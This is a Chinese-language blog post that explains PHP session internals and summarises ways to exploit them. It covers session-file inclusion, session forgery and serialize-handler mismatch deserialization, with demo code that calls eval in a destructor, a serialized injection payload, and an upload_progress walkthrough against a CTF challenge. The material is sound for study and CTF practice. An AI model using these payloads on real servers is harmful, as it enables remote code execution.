PHP-Session利用总结

PHP-Session 简介

基本概念

session一般称作会话控制,session对象存储特定用户会话所需的属性及配置信息。

我自己的理解来说:PHP session是一个特殊的变量,它存储着我们与服务器会话的全部信息,该信息在PHP中一般是以文件在服务器中存储,服务器会为每个访问者创建一个id一般为PHPSESSID,这个id在请求时存储在cookie中,用于服务器识别用户身份。

会话流程

当你开始一个会话时,PHP会尝试从请求中查找会话ID(也就是cookie中的PHPSESSID),如果请求中不存在该ID信息,PHP就会创建一个新的会话,并以Set-Cookie响应头发送给用户ID。会话开始之后,PHP就会将会话中的一些数据存到$_SESSION变量中,当PHP停止的时候,它会自动读取$_SESSION中的内容,并将其进行序列化并发送给会话保存管理器进行保存。

可以通过调用函数session_start()手动开始一个会话。如果配置项session.auto_start设置为1,那么请求开始的时候,会话会自动开始。

PHP脚本执行完毕之后,会话会自动关闭。同时,也可以通过调用函数session_write_close()来手动关闭会话。

常见配置

PHP的安装目录下找到php.ini文件,这个文件主要的作用是对PHP进行一些配置

session.save_handler = files #session的存储方式
session.save_path = "/var/lib/php/session" #session id存放路径
session.use_cookies= 1 #使用cookies在客户端保存会话
session.use_only_cookies = 1 #去保护URL中传送session id的用户
session.name = PHPSESSID #session名称(默认PHPSESSID)
session.auto_start = 0 #不启用请求自动初始化session
session.use_trans_sid = 0  #如果客户端禁用了cookie,可以通过设置session.use_trans_sid来使标识的交互方式从cookie变为url传递
session.cookie_lifetime = 0 #cookie存活时间(0为直至浏览器重启,单位秒)
session.cookie_path = / #cookie的有效路径
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly标记增加到cookie上(脚本语言无法抓取)
session.serialize_handler = php #PHP标准序列化
session.gc_maxlifetime =1440 #过期时间(默认24分钟,单位秒)

存储引擎

PHP中的session内容默认是以文件的方式来存储的,存储方式由配置项session.save_handler来确定。存储文件是以sess_PHPSESSID来命名的,文件内容就是$_SESSION值得序列化内容。

session.serialize_handler 配置项是用来设置$_SESSION序列化引擎得,在php>5.5.4后默认是以php引擎进行序列得,除了该方式,还有其他引擎,不同得引擎所序列化的内容不同,也就是存储的内容不同。

存储引擎 存储方式
php_binary 键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值
php 键名+竖线+经过 serialize() 函数序列处理的值
php_serialize (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

在使用PHP的时候如果想要修改为其他的引擎,我们可以添加代码

ini_set('session.serialize_handler', '需要设置的引擎')

我们在存储的时候也可以使用session_start(["serialize_handler"=>"引擎"])来以该引擎创建session(PHP7以后出现)

session_start(array `$options` = array()): bool
# 此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。

php_binary

<?php
session_start(["serialize_handler"=>"php_binary"]);
$_SESSION["seizer"]="Hello ggbond";

image-20211230142238257

php

<?php
session_start(["serialize_handler"=>"php"]);
$_SESSION["seizer"]="Hello ggbond";

image-20211230142311136

php_serialize

<?php
session_start(["serialize_handler"=>"php_serialize"]);
$_SESSION["seizer"]="Hello ggbond";

image-20211230142046779

PHP-Session利用

文件包含

利用条件:存在文件包含,session文件的路径已知,且文件内容可控。

session文件的路径可从phpinfo中的session.save_path可知,或者猜测路径

/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

然后通过写入内容并包含session文件即可获得flag,session文件名一般为sess_PHPSESSID

如果php设置了open_basedir,限制了我们读取文件的范围,我们就算得知了session文件的存储路径,但是不在我们的读取范围里,这里可以考虑修改一下session文件存储的位置。

我们可以通过session_start()options参数进行覆盖php.ini的配置session.save_path来修改保存路径,然后再进行文件包含。当然这个操作也可以通过session_save_path()函数完成。

用户伪造

利用条件:已知PHP所使用的session存储引擎,以及session文件的内容可控。

通过已知的存储引擎,我们通过构造session文件,并将其上传到session文件存储的位置,即可通过该PHPSESSID进行访问网站

反序列化

当网站序列化存储 session 与反序列化读取 session 的方式不同时,就可能导致 session 反序列化漏洞的产生。 一般都是以 php_serialize 序列化存储 session, 以 PHP 反序列化读取 session,造成反序列化攻击。或者是可以通过序列化某些可利用方法进行构造pop链进行反序列化攻击。

$_SESSION赋值

举例:

demo1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];

demo2.php

<?php
session_start();
class session {
    var $var; 
    function __destruct() {
         eval($this->var);
    }
}

demo1.phpdemo2.php使用了不同的存储引擎,所以在进行序列化和反序列化的过程中可能会存在逃逸从而导致反序列化攻击

for example:

我们给demo1.php传入如下的参数

|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}
php_serialize序列化后=>
a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}

接下来demo2.php使用php存储引擎来反序列化,

a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}
php反序列化后=>
['a:1:{s:8:"username";s:47:"'=>'O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}']

细心的童鞋会发现,在反序列化的过程中难道不会报错吗?这里提到一个unserialize 的特性,在执行unserialize 的时候,如果字符串前面满足了可被反序列化的规则即后续的不规则字符会被忽略。

$_SESSION赋值

PHP还存在一个upload_porcess机制,可以在$_SESSION中创建一个键值对,其中的值可控。

image-20211230214227455

以 Jarvis OJ 平台的 PHPINFO 题目为例,环境地址:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

通过查看phpinfo,需要知道session.upload_process.enabled配置项为On,并且具有存储引擎差异,我们就可以利用这一特性。

查看session.upload_progress.name字段获得变量名为PHP_SESSION_UPLOAD_PROGRESS,我们可以在本地创建一个form.html提交表单。

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

使用 bp抓包,在 PHP_SESSION_UPLOAD_PROGRESSvalue 值123后面添加| 和序列化的字符串

image-20211230220004788

或者可以使用postman进行传参

image-20211230220031024

文件上传

利用条件:session文件存储路径已知且可以上传,有可利用的反序列化攻击链,最近刚刚打过的SCTF2021upload_it就是该题型

传送门:SCTF2021

posted @ 2023-01-08 23:22  seizer-zyx  阅读(837)  评论(0编辑  收藏  举报